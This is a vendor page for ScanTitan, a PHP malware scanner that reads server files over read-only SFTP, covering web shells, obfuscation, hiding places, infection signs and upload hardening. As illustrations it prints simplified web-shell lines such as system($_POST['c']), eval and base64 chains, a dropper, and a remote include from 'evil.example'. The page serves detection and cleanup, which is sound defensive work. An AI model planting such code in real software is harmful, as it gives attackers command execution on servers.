Home / PHP Malware Scanner
Web shells · Backdoors · Obfuscated PHP · Read-only SFTP or SSH

PHP Malware ScannerScan your server's PHP files, with path and line.

ScanTitan provides a PHP malware scanner that reads the PHP files on your server and flags web shells, backdoors, obfuscated code and injected includes. You connect from the ScanTitan portal over read-only SFTP or SSH, so nothing is installed and no file is changed. The report gives a verdict for each file, with the file path and line of every suspicious pattern. Your first scan is free with an account, and further scans need a paid plan.

Create an account, connect a read-only SFTP or SSH account, and run your first scan free. Nothing is installed and no file is changed.

Read-only connectionVerdict per fileFile path and line
example-shop.test · PHP · /var/www/htmlexample result
Malicious0
Suspicious0
Files read0
Web shelluploads/cache-loader.php · line 3
PHPMALICIOUS
Eval of decoded stringthemes/site/functions.php · line 118
PHPSUSPICIOUS
Remote includeincludes/legacy.php · line 41
PHPSUSPICIOUS
Seen system($_POST["c"]) at line 3 Mode read-only, no file changed Next step: save a copy, remove the file, rescan
MALICIOUSWeb shellfound in uploads/, line 3
Read-only scanno file was changed
Illustrative example, not a live scan
Web shellsBackdoorsObfuscated PHPeval and base64 chainsRemote includesDroppers and loadersMailer scriptsVerdict per fileFile path and lineRead-only SFTP or SSHOne free scanWeb shellsBackdoorsObfuscated PHPeval and base64 chainsRemote includesDroppers and loadersMailer scriptsVerdict per fileFile path and lineRead-only SFTP or SSHOne free scan
What it is

A PHP malware scanner that reads your server files

A PHP malware scanner is a tool that reads PHP source code and flags the code attackers plant: web shells, backdoors, loaders that download more code, obfuscated eval chains and mailer scripts. Three kinds exist. A command line scanner such as PHP Antimalware Scanner or php-malware-finder runs on your server and needs shell access. An online URL scanner requests your pages from outside and never sees PHP source. A portal scan connects to the server and reads the files without installing anything.

ScanTitan provides the third kind. You connect from the portal over read-only SFTP or SSH, the scan reads the PHP files in your web root, and the report gives a verdict for each file, the file path and the line of every suspicious pattern. A flag is a lead to confirm, not a sentence, because legitimate frameworks also use functions such as eval and base64_decode.

1free scan with a ScanTitan account
Read-onlySFTP or SSH connection, no file is changed
0agents or plugins to install on the server
Path + linefor every suspicious pattern in the report
Our process

How to scan PHP files for malware

To scan PHP files for malware with ScanTitan, create an account, add your site in the portal and connect with a read-only SFTP or SSH account limited to the web root. ScanTitan reads the PHP files, matches them against web shell, backdoor and obfuscation patterns, and returns a verdict for each file with its path and line. Run the first scan before you delete anything, because that report is your evidence.

Add your site

Create an account and add the site in the portal. Confirm that you own it or have permission to scan it.

Connect read-only

Give ScanTitan a read-only SFTP or SSH account limited to the web root. Create a dedicated account and delete it after the scan.

Read the PHP files

ScanTitan lists the files and reads the PHP source. It does not run your code and it writes nothing to the server.

Match known patterns

Compares the code with web shell, backdoor, loader and obfuscation patterns, including eval chains and remote includes.

Give a verdict per file

Marks every file clean, suspicious or malicious and explains the reason in plain words.

Report path and line

Lists the file path and the line of each suspicious pattern, so you can open the exact spot.

Scan before you change anything

On a suspect server, the first report is your evidence. The rescan after the cleanup is compared against it, so you can prove each finding is gone.

Clean, suspicious or malicious

A PHP malware scan gives every file one of three verdicts: clean, suspicious or malicious. A malicious verdict means the code does something an attacker wants, such as running a command sent by a visitor. A suspicious verdict means the code uses a risky function in a way you should confirm, such as eval on a decoded string. A clean verdict means no known pattern matched in that file.

Treat malicious and suspicious findings as leads. Open the file at the reported line, ask whether you or a developer wrote it, and compare it with the official copy of the plugin or package. Keep a copy of the file before you delete it, because the evidence helps you find how it arrived.

Clean it, close the gap, rescan it

To clean an infected PHP server, remove the malicious files, close the way in and rescan. ScanTitan finds and verifies, while you, your host or a security professional do the cleaning, and our website malware removal guide gives the steps. Removing the shell is only half the job: update the software that let the attacker in and change SFTP, database and admin credentials, or the file comes back.

After the cleanup, run the scan again. A rescan is another scan, so it counts toward your plan, and a clean result means the files that were read matched no known pattern, not that the server is safe forever. If a file keeps returning, read how to find a backdoor in a website.

Coverage

What a PHP malware scan looks for

A PHP malware scan looks for six kinds of pattern in every PHP file, and each finding in the report is explained in plain words. The numbers on the example file match the cards.

Six patterns the scan flags in one PHP fileA PHP file listing with six numbered lines: a command taken from the request, an eval of a decoded string, a gzinflate and base64 chain, a remote include, a file written to the web root, and a mail loop.uploads/cache-loader.php1<?php2system($_POST["c"]);013eval(base64_decode($x));024eval(gzinflate(str_rot13(...)));035include "http://evil.example/a.txt";046file_put_contents("shell.php",$d);057while($i<5000) mail($to,$s,$m);068?>numbers match the six cards below
Illustration: six patterns the scan flags, marked on an example file. The code is simplified.
01

Commands from the request

system, exec, shell_exec, passthru and popen fed by $_POST, $_GET or $_REQUEST: the core of a web shell.

02

Eval of decoded strings

eval or assert running the output of base64_decode, gzinflate or str_rot13, which hides the real code.

03

Obfuscation chains

Layered encodings, variable names built from character codes and strings assembled at run time to defeat simple searches.

04

Remote includes and downloaders

include or require of a URL, and code that fetches a second stage with file_get_contents or curl.

05

File writers and droppers

Code that writes new PHP files, web shells or .htaccess rules into the web root.

06

Mailer and spam scripts

Loops that send mail or serve doorway pages, a common reason hosts suspend an account.

Malicious PHP

What malicious PHP code looks like

Malicious PHP code usually combines a function that runs something with a trick that hides what it runs. A single eval line can give an attacker a remote shell, and a long line of encoded text is the usual giveaway. The table lists the patterns scanners flag first, why attackers use them and where legitimate code uses them too, which is why every flag needs a human check.

Obfuscated PHP unwrapped layer by layerA PHP payload wrapped in eval, gzinflate and base64_decode. Peeling each wrapper reveals a command that runs whatever the visitor sends.eval(gzinflate(base64_decode("fZJNb4Mw…")));base64_decodegzinflate("x\x9c\xcbH…") · compressed bytesgzinflateeval( … ) · runs the decoded text as PHPsystem($_REQUEST["cmd"]); · what the file really does
Illustration: why one eval line is enough to give an attacker a remote shell.
PatternWhy attackers use itLegitimate useWhat to check
eval()Runs text as code, so a payload can hide inside a stringRare: some template engines and old pluginsIs the string decoded, or taken from the request?
base64_decode() with gzinflate()Hides the real code from searchesEncoding data, tokens and small assetsIs the result passed to eval or include?
system(), exec(), shell_exec(), passthru()Runs commands on the serverAdmin tools, backups, image processingDoes the command come from $_POST or $_GET?
assert() and preg_replace with /eOld ways to run code from a stringAlmost none in modern code, and PHP 7 and 8 removed themAny use is a lead worth opening
include or require of a URLLoads a second stage from the attackerallow_url_include is off by defaultIs it on, and why?
file_put_contents() writing .phpDrops new shells and loadersCaches, generators and installersDoes it write PHP into the web root?
call_user_func() with request dataCalls any function the attacker namesCallbacks with fixed namesDoes the function name come from the request?

Frameworks and Composer packages use some of these functions, so compare a flagged file with the official release before you act. Deeper guides: obfuscated PHP malware and what a web shell is. To read one file yourself, paste it into the malware code analyzer.

Where it hides

Where PHP malware hides on a server

PHP malware hides in places owners rarely open: the uploads folder, helper files in includes, cache and temp folders, vendor packages, .htaccess and .user.ini, configuration files and scheduled tasks. The scan reports the file path and line when it finds a pattern. The table shows how to check each place by hand when a finding points at a file, or when the scan is clean and the symptoms continue.

LocationWhat attackers hide thereHow to check it by hand
uploads/PHP shells posing as imagesRun find uploads -name "*.php". No PHP belongs in an uploads folder.
includes/ and lib/Loader lines added to legitimate helper filesCompare with a clean backup or your repository and sort by modification date.
cache/ and tmp/Droppers, temporary copies and a rogue PHP processList PHP files changed recently and check running processes for PHP you do not recognise.
vendor/Tampered Composer packagesReinstall from the lock file and compare the result with what is on the server.
.htaccess and .user.iniauto_prepend_file that loads malware before every script, and redirectsRead both files and remove lines you cannot explain.
Configuration filesAn injected include after the database settingsRead the file by hand and look for code after the credentials block.
Document rootFake files with real sounding names such as wp-feed.phpList PHP files by newest modification date and open any you did not add.
Scheduled tasksA cron job that recreates the shell after you delete itRun crontab -l and read the schedule in your hosting panel.

Replace files with official copies of your CMS, plugins and packages wherever you can instead of editing them by hand. Related guides: .htaccess malware and finding a backdoor.

TypeWhat it doesWhere it sitsTell-tale sign
Web shellA remote file manager or command prompt in a browserUploads, themes, includesThe file accepts a password or command parameter
Dropper or loaderA small file that downloads or writes the shellCache, tmp, uploadsA tiny file that includes or fetches a URL
BackdoorHidden re-entry that survives a password changeFake core files, plugins, includesCode that runs only when a secret cookie or parameter is present
SEO spam doorwayServes spam pages to search crawlers onlyDocument root, odd subfoldersPages in Google that visitors never see
MailerSends spam from your serverAny writable folderOutbound mail spikes and a host abuse notice
RedirectorSends some visitors to scam pagesindex.php, .htaccessA redirect only on a first visit or on mobile
Signs

Signs your PHP site has malware

Your PHP site probably has malware if PHP files appear that nobody added, deleted files come back, outbound mail spikes, your host sends an abuse notice, or visitors are redirected. The quietest infections show no symptom at all, so scan rather than wait. See 12 signs of website malware for what each one means.

01

PHP files you did not add

The newest files in uploads, cache or the document root are the first place to look.

02

Files that return after deletion

A rogue process, a cron job or a second backdoor recreates them.

03

Outbound mail spikes

A mailer script is sending spam from your server.

04

Host abuse or suspension notice

Your provider has seen spam or malware coming from your account.

05

Redirects or spam in Google

Visitors land on scam pages, or pharma and gambling pages appear under your domain.

06

Unknown admin users

New administrators, or passwords that changed without you.

07

Wrong permissions

Folders set to 777, or files writable by the web server that should not be.

08

High CPU or slow pages

Spam loops and hidden miners use resources.

The scan is clean but the symptoms continue

A clean result means the scanned PHP files matched no known pattern. A hidden PHP process in memory or in the tmp folder can rewrite a file after you delete it, a cron job can recreate it, and the code may sit in the database or in a folder outside the path you connected. Check running processes and scheduled tasks, scan the other folders, and read why a scanner can say clean while the site is still infected.

Compare

Server file scan vs command line vs URL scanner

A server file scan reads your PHP files over SFTP or SSH, a command line scanner such as PHP Antimalware Scanner, php-malware-finder or ClamAV does the same on the server itself, and an online URL scanner sees only what visitors receive. Each sees a different part of the problem, and no single kind sees everything, so combine two.

What it doesScanTitan portal scanCommand line scannerOnline URL scanner
Reads the PHP source files✓✓✗
Needs shell access and commandsNoYesNo
Install anything on the serverNoYesNo
Report with file path and line✓✓✗
Finds a shell that no public page reveals✓✓✗
Sees redirects that only some visitors get✗✗✓
Needs your server loginRead-onlyYesNo
CostOne free scanFree, open sourceFree basic check
There is no single best PHP malware scanner. Open source scanners are excellent and free if you are comfortable with a shell and will keep them updated. If you want a verdict per file and a report without installing or maintaining anything, use a portal scan. Add an online scan if you also need to know what visitors are served.
This page

PHP malware scanning

Finds what is in your PHP files now: web shells, backdoors, loaders and obfuscated code. It tells you the files are infected and where.

Pairs with it

PHP vulnerability scanning

Finds the weakness that let the attacker in, such as an end of life PHP version or a published CVE. See the PHP vulnerability scanner. To read a single suspicious file, use the malware code analyzer.

Reporting

What a ScanTitan PHP malware report looks like

A ScanTitan PHP malware report is a list of verdicts with the file path and line, not a score. Keep the first report, because the rescan after your cleanup is the proof that a finding is gone.

  • A verdict for each file. Clean, suspicious or malicious, so you start with the web shell, not the cosmetic issue.
  • The file path and the line. The exact spot to open, so you do not search the whole project.
  • Why it was flagged. A plain explanation of the pattern, so you can judge a false positive.
  • A next step and a rescan. Remove or replace the file, close the way in, then compare the rescan with the first report.
PHP malware scan · example-shop.testexample
Web shelluploads/cache-loader.php · line 3 · system($_POST["c"])
MALICIOUS
Eval of a decoded stringthemes/site/functions.php · line 118 · eval(base64_decode(...))
SUSPICIOUS
Remote includeincludes/legacy.php · line 41 · include of a URL
SUSPICIOUS
Next step save a copy, delete the file, find how it arrived Mode read-only, no file was changed

Illustrative example with a reserved example.test name. Not a real scan.

Prevention

How to stop PHP malware coming back

To stop PHP malware coming back, close the way in, because it returns when that stays open. Most shells arrive through an upload form, an outdated plugin or library, or a stolen SFTP password, so closing those matters more than deleting the file. Scan uploads as they arrive with a library such as phpMussel or an upload scanning service, and use the steps below after every cleanup.

  • Block PHP execution in the uploads folder with a server rule, so a shell cannot run even if it lands there.
  • Validate uploads against an allow list, check the real content and rename every file.
  • Update PHP, your CMS, plugins and Composer packages, and remove the ones you do not use.
  • Rotate SFTP, database and admin credentials after a cleanup.
Apache 2.4 · uploads/.htaccess
<FilesMatch "\.(php|phtml|phar)$">
  Require all denied
</FilesMatch>
nginx · server block
location ~* ^/uploads/.*\.(php|phtml|phar)$ {
  deny all;
}
Test on a staging copy first. PHP-FPM and hosting panels differ.
Timing

When to scan PHP files for malware

Scan PHP files for malware when a symptom appears and at the moments an infection is most likely or most costly to miss. A clean scan is a snapshot of one day, because new flaws appear daily and attackers reinfect cleaned servers.

01

Scan before you change anything

Right away. When you see an abuse notice, spam or an unknown PHP file, scan first so the evidence stays intact.

02

Scan after every deploy or update

After changes. New code is the usual way malware arrives, especially from outside the official package source.

03

Scan after a restore or host move

After a move. A restored backup can bring an old infection back with it. Scan before you point visitors at the new server.

04

Rescan to confirm the files are gone

After cleanup. Compare the rescan with the first report, and watch for the same file returning.

FAQ

Common questions about PHP malware scanning

These answers cover PHP malware scanning, server access, limits and cleanup in a few sentences each.

What is a PHP malware scanner?
A PHP malware scanner is software that reads PHP source code and flags code that attackers plant, such as web shells, backdoors, loaders that download more code and obfuscated eval chains. Some scanners run on the server from the command line, some check a website from outside, and some connect to the server and read the files. ScanTitan provides the last kind.
How do I scan PHP files for malware?
Add your site in the ScanTitan portal, connect with a read-only SFTP or SSH account limited to the web root, and run the scan. ScanTitan reads the PHP files and returns a verdict for each one, with the file path and the line of each suspicious pattern. Run the first scan before you delete anything.
Can a PHP file be malicious?
Yes. The server executes PHP, so a malicious PHP file can run commands, read other files, send spam or give an attacker a web shell. Attackers often name these files like images or core files, such as photo.jpg.php or wp-feed.php, and place them in the uploads, cache or includes folders.
Is the ScanTitan PHP malware scanner free?
Your first scan is free with a ScanTitan account. Further scans need a paid plan, and the pricing page lists what each plan includes. Open source command line scanners such as PHP Antimalware Scanner are free too, but you run and maintain them yourself.
Does the scan change or delete my files?
No. The connection is read-only, so ScanTitan reads files and writes nothing to your server. You, your host or a security professional remove the malicious files, and the website malware removal guide gives the steps.
What access does the scan need?
A read-only SFTP or SSH account limited to the web root. Create a dedicated account for the scan, give it no write access, and delete it when the scan is finished. Do not use the root account or your main hosting login.
What does the report show?
The report marks each file as clean, suspicious or malicious. For every finding it shows the file path, the line of the suspicious code and a plain explanation of why it was flagged, so you can open the exact spot and judge it.
Can the scan find a web shell or a backdoor?
The scan matches web shell and backdoor patterns, including eval chains, commands taken from the request and remote includes. Heavily obfuscated or brand new code can still slip past any pattern based scanner, so review suspicious files by hand and check the other places listed on this page.
Why did the scanner flag my own file?
Legitimate code also uses functions such as eval, base64_decode and system, so a flag is a lead to confirm. Open the file at the reported line, ask whether you or a developer wrote it, and compare it with the official release of the plugin or package before you change anything.
What is the difference between an online URL scanner and a server file scanner?
An online URL scanner requests your pages from outside and sees only what visitors receive, never the PHP source. A server file scanner reads the files themselves, so it can find a web shell that no public page reveals. A URL scanner is better at spotting redirects that only some visitors see.
Can I use PHP Antimalware Scanner or ClamAV instead?
Yes. PHP Antimalware Scanner, php-malware-finder and ClamAV are free and work well if you have shell access and are comfortable running and updating them. ScanTitan suits people who want a verdict per file and a report from the portal without installing or maintaining anything.
My scan is clean but the site still redirects. What now?
A clean result means the scanned PHP files matched no known pattern. The cause may be a hidden PHP process in memory or in the tmp folder, a cron job that recreates the file, code in the database, or a folder outside the path you connected. Check processes and scheduled tasks, then read why a scanner can say clean while a site is infected.
How do I stop PHP shells arriving through uploads?
Block PHP execution in the uploads folder, accept only an allow list of file types, check real file content instead of the extension, rename uploaded files and store them outside the web root where you can. After a cleanup, also update the software that let the attacker in.
When should I scan PHP files for malware?
Scan right away when you see a symptom, after every deploy or plugin update, after a restore or a host move, and after a cleanup to confirm the files are gone. A clean scan is a snapshot of one day, because attackers can reinfect a cleaned site.
Honest fit

Is ScanTitan's PHP malware scanner right for you?

ScanTitan's PHP malware scanner is right for you if you want to know which PHP files are malicious without running tools in a shell, and it is not the right tool if you need cleanup done for you.

A great fit if

  • You want to know which PHP files are malicious and where, without running tools in a shell.
  • You can give a read-only SFTP or SSH account, or your host can.
  • You or your host will do the cleanup, and you want a rescan to confirm it.
  • You want a report with file path and line that you can hand to a developer.

Probably not if

  • You want someone to clean the server for you. ScanTitan finds and verifies. Start with the website malware removal guide.
  • You need to scan every upload inside your application as it arrives. Use a library or an upload scanning service for that.
  • You cannot give any server access. Use the free malware scan for a quick look at what the public sees.
Read-only · Verdict per file · File path and line

Find out which of your PHP files are not yours.

Create an account, connect a read-only SFTP or SSH account and run your first scan free. ScanTitan finds and verifies. You or your host do the cleaning.

Reviewed by Obaida Al-Sulaiman, Information Security Manager